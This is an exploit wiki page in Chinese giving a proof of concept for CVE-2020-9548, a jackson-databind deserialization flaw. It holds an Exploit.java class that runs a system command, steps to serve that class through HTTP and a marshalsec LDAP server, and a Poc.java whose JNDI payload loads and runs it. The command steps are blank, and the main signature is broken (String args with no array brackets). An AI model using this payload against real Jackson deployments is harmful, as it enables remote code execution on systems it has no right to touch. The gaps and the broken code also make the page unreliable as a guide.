Loading
0

CVE-2020-9548 jackson-databind RCE漏洞

免费、自由、人人可编辑的漏洞库--PwnWiki.com

,

漏洞利用

编译Exploit.java:

import java.lang.Runtime;

public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

搭建HTTP服务 使用Python搭建简易SimpleHTTPServer服务:

搭建LDAP服务 使用marshalsec来启动一个LDAP服务:

执行漏洞POC1 Poc.java代码如下所示:

package com.jacksonTest;

import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class Poc {
    public static void main(String args) throws Exception {
       ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        String payload = "\"br.com.anteros.dbcp.AnterosDBCPConfig\", {\"metricRegistry\":\"ldap://127.0.0.1:1099/Exploit\"}";
        try {
            mapper.readValue(payload, Object.class);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

之后运行该程序,成功执行命令,弹出计算器

PWNWIK.COM